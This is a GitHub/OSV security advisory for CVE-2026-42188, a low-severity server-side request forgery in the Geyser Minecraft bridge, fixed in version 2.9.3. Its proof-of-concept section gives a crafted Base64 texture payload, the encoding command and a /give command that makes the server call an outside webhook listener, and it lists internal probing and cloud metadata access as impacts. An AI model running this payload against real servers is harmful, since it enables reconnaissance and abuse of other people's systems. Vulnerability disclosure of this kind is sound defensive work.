GHSA-xcfg-fcr5-gw9r

Suggest an improvement
Source
https://github.com/advisories/GHSA-xcfg-fcr5-gw9r
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-xcfg-fcr5-gw9r/GHSA-xcfg-fcr5-gw9r.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-xcfg-fcr5-gw9r
Aliases
  • CVE-2026-42188
Published
2026-05-05T20:03:16Z
Modified
2026-05-05T20:18:42.532742Z
Severity
  • 2.4 (Low) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N CVSS Calculator
Summary
Geyser Vulnerable to Server-Side Request Forgery (SSRF) via Player Head Texture URL in Geyser
Details

Summary

A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.

Details

Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.

When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution. However, the URL contained in the textures.SKIN.url field is not sufficiently validated.

PoC

  1. Setup Environment:

    • Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.
    • Ensure you have a Bedrock client connected.
  2. Prepare Listener:

    • Go to webhook.site and obtain a unique URL (e.g., https://webhook.site/YOUR-UUID).
  3. Construct Payload:

    • Create a JSON payload pointing to your listener URL: {"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}}
    • Encode this JSON string to Base64. (You can use a terminal command: echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64)
  4. Execute Command:

    • Run the following command in the Bedrock Edition client: /give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}]
  5. Verify:

    • Check the webhook.site dashboard.
    • You will see an HTTP GET request originating from the Minecraft Server's IP address, not the client's IP.

Impact

This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.

Affected Parties

  • Minecraft servers running Geyser
  • Server operators exposing internal or cloud metadata endpoints

Potential Impacts

  • Internal network probing (e.g., intranet services, admin panels)
  • Cloud metadata access attempts (e.g., 169.254.169.254)
  • IP address disclosure of the Minecraft server
  • Abuse of the server as an HTTP request proxy

Although the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for: - Network mapping - Firewall bypass attempts - Cloud environment fingerprinting

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:03:16Z",
    "cwe_ids": [
        "CWE-918"
    ],
    "severity": "LOW",
    "nvd_published_at": null
}
References

Affected packages

Maven / org.geysermc.geyser:core

Package

Name
org.geysermc.geyser:core
View open source insights on deps.dev
Purl
pkg:maven/org.geysermc.geyser/core

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.9.3

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-xcfg-fcr5-gw9r/GHSA-xcfg-fcr5-gw9r.json"
last_known_affected_version_range
"<= 2.9.2"